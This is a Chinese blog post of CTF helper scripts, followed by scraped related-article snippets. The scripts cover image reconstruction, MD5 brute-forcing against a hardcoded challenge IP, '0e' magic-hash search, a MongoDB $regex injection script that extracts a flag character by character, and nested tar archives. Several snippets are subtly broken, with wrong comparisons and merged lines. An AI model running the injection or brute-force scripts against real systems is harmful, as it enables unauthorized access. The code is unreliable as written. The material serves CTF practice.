积累一点ctf需要掌握的常见脚本知识
1.利用像素点还原图片。
from PIL import Image
import re
if __name__ == '__main__':
x = 887 //将像素点个数进行分解,可以确定图片的长宽
y = 111
i = 0
j = 0 c = Image.new("RGB", (x,y))
file_object = open('ce.txt') //ce.txt中保存着像素点的坐标 for i in range(0, x):
for j in range(0, y):
line = file_object.next() //每次读取一个像素点
lst = line.split(",") //lst生成一个元组
c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2]))) c.show()
c.save("c.png")
2.py requests方法的利用以及利用正则匹配查找文本暴力破解md5值。
#coding : utf8
import requests
import re
import hashlib
import itertools
s = requests.session() //建立一个session对话
url = "http://106.75.67.214:2050/?pass=bee7a613a8fa4f2f"
data = {'PHPSESSID':'6h7b4caq8bo41i3m5fg2983cq5'}
content = s.get(url=url,data=data)
target = re.findall("sh\"\>(.*)\<",content.text)
target = target[0]
poc = re.findall("code\"\>(.*)\<",content.text)
str1 = poc[0]
a = [''.join(x) for x in itertools.permutations(str1, 9)] //join方法是通过指定的字符串来连接序列元素从而构成新字符串,permutations用来生成无重复字符的元组
for i in range(0,len(a)):
final = hashlib.md5(a[i])
if final.hexdigest() == target:
flag = s.get(url="http://106.75.67.214:2050/?code="+a[i])
print flag.content
print flag.headers
3.利用py将base64编码的字符串还原成图片
import os,base64
strs='''''sdasdas==''' //已经编码的base64字符串 imgdata=base64.b64decode(strs)
file=open('1.jpg','wb')
file.write(imgdata)
file.close()
4.生成0e哈希值:
#coding:utf-8
import hashlib
import itertools
def go():
payload = [c for c in "qwertyuioplkjhgfdsazxcvbnm123654789"]
i = 0
print payload
for j in itertools.product(payload,repeat=30): #repeat参数指定长度
payloads = "".join(j)
#print pow
#i = i+ 1
#if i == 10:
# break
str1 = hashlib.md5(payloads).hexdigest + "SALT"
str2 = hashlib.md5(str1)
if (str2[0]=="") & (str2[1]=="e") & (str2[2:].isdigit()):
print payloads
go()
5.mongodb基于正则注入:
#coding:utf-8
import requests
import string
# print string.ascii_letters
# print string.digits
flag = "c1ctf{"
payload = string.ascii_letters + string.digits url = "http://xx.x.x.x/index.php?"
restsrt = True
while restsrt:
restsrt = False
for i in payload:
payloads = flag + i
post_data = {"username":"admin","passwd[$regex]":flag+".*"}
#post_data = {"username":"admin","passwd[$regex]":"^"+flag}
r = requests.get(url = url,data = post_data,allow_redirects = False)
if r.status_code == "":
print payloads
flag = flag + i
restsrt =True
if i == "}":
exit(0)
break
6.多次压缩打包
#coding:utf-8
import tarfile
for i in range(1,2):
tfile = tarfile.open("shell0.tar.gz","w:gz") #打包压缩
tfile.add("flag.py")
tfile.close() for i in range(1,300):
tfile = tarfile.open("shell"+str(i)+".tar.gz","w:gz")
tfile.add("1.php")
tfile.add("shell"+str(i-1)+".tar.gz")
tfile.close()
7.多次解压:
#coding:utf-8
import tarfile
for i in range(1,300)[::-1]:
file = tarfile.open("shell"+str(i)+"tar.gz")
file.extractall()
file.close()
积累一点ctf需要掌握的常见脚本知识的更多相关文章
- shell常见脚本30例
shell常见脚本30例 author:headsen chen 2017-10-19 10:12:12 本文原素材出自网上,特此申明.有些地方加入我自己的改动 常见的30例shell脚本 1.用 ...
- Python简单的CTF题目hash碰撞小脚本
Python简单的CTF题目hash碰撞小脚本 import hashlib for num in range(10000,9999999999): res = hashlib.sha1(str(nu ...
- Oracle手边常用70则脚本知识汇总
Oracle手边常用70则脚本知识汇总 作者:白宁超 时间:2016年3月4日13:58:36 摘要: 日常使用oracle数据库过程中,常用脚本命令莫不是用户和密码.表空间.多表联合.执行语句等常规 ...
- ctf密码学------密文解码python脚本(凯撒解密)
题目来源实验吧 分析题意,说是困在栅栏中,所以将字符栅栏解密看看有什么,利用工具CTFcraktools 得到三条密文 然后说是密码是凯撒,在将四栏依次凯撒解码,寻找可能的key,这里很显然,在尝试第 ...
- 放一点百度来的,常见的windowserror
0操作成功完成.1功能错误.2系统找不到指定的文件.3系统找不到指定的路径.4系统无法打开文件.5拒绝访问.6句柄无效.7存储控制块被损坏.8存储空间不足,无法处理此命令.9存储控制块地址无效.10环 ...
- python 常见脚本
一登录就发现了这篇博客,非常感谢作者,有时间会静下心来一点一滴的看 https://www.cnblogs.com/ailiailan/p/10141741.html
- bat脚本知识总结
1常用基本命令 1.1 @ 它的作用是让执行窗口中不显示它后面这一行的命令本身 1.2 echo 它其实是一个开关命令,就是说它只有两种状态:打开和关闭.于是就有了echo on 和echo off两 ...
- 积累一些不太常用的c语言知识(不断更新)
这里积累一些日常编程用得比较少的知识,不断添加. scanf("%c%*c%c",&a,&b); 其中的*表示跳过,本来输入三个数字,结果中间那个读入后被抛弃,a和 ...
- linux 常见基础知识(此文章将会在整个linux学习过程中,不断添加)
1,linux 文件类型 普通文件 目录文件 链接文件 块设备 字符设备 Socket 管道文件 - d l b c s p 2,linux 文件属性 蓝色 绿色 浅蓝色 红色 灰色 目录 可执行文件 ...
随机推荐
- cefsharp在xp上运行
今天遇到一个坑.也是自己英语不足的体现.在xp上运行cefsharp.wpf. 查询了各种资料.按照说明一步一步的操作,都没有解决xp上运行cefsharp.wpf. 而且在xp上调试都不知道错误在哪 ...
- JQuery源码解析--callbacks
(function (global, factory) { factory(global); })(this, function (window, noGlobal) { var rootjQuery ...
- 使用HttpClient 4.3.4 自动登录并抓取中国联通用户基本信息和账单数据,GET/POST/Cookie
一.什么是HttpClient? HTTP 协议可能是现在 Internet 上使用得最多.最重要的协议了,越来越多的 Java 应用程序需要直接通过 HTTP 协议来访问网络资源.虽然在 JDK 的 ...
- [转] Oracle数据库备份与恢复 - 增量备份
转:http://blog.csdn.net/pan_tian/article/details/46780929 RMAN一个强大的功能是支持增量备份,增量备份中心思想就是减少备份的数据量,我们不 ...
- 记一次TFS 的 垃圾提示(无法下载 未获取项目 的 代码)
提示 “ 所有文件都是最新的 ”,但是在 源码管理 里面 确是 “未下载” 我艹,第一次遇到.如图.~~ 最后发现是 TFS 的项目权限设置问题. 你妈个马批的,啥子鸡巴破B提示,太阳你妈B 的 .要 ...
- 介绍几个 window 下面的terminal
1. putty 配合 winscp 这个是标配 但是如果开多个ssh连接,管理起来很是不方便. 2. MTputty ,如果要管理多态机器,那么这个工具就是相当给力. 可以连接多个Tab,配置和保存 ...
- 九月二十八JS验证
js表单验证 js可用发来在数据被送往服务器前对HTML表单中的这些输入数据进行验证 被js验证的这些典型的表单数据有: >用户是否已填写表单中的必填项目: >用户输入的邮件地址是否是合法 ...
- 手把手写php框架中三大“自动功能”
在很多php框架中都有自动过滤,自动填充,自动验证等三大自动功能,用来对POST表单传过来的数据进行加工,以便能够更加规范的导入数据库.这一功能在添加商品,添加商品分类中有很大的用处.比如thinkp ...
- String的方法运用
public class StringUse { public static void main(String[] args) { int count = 0; String s=new String ...
- 最小生成树算法——Kruskal算法
#include<stdio.h> #include<algorithm> #include<windows.h> using namespace std; str ...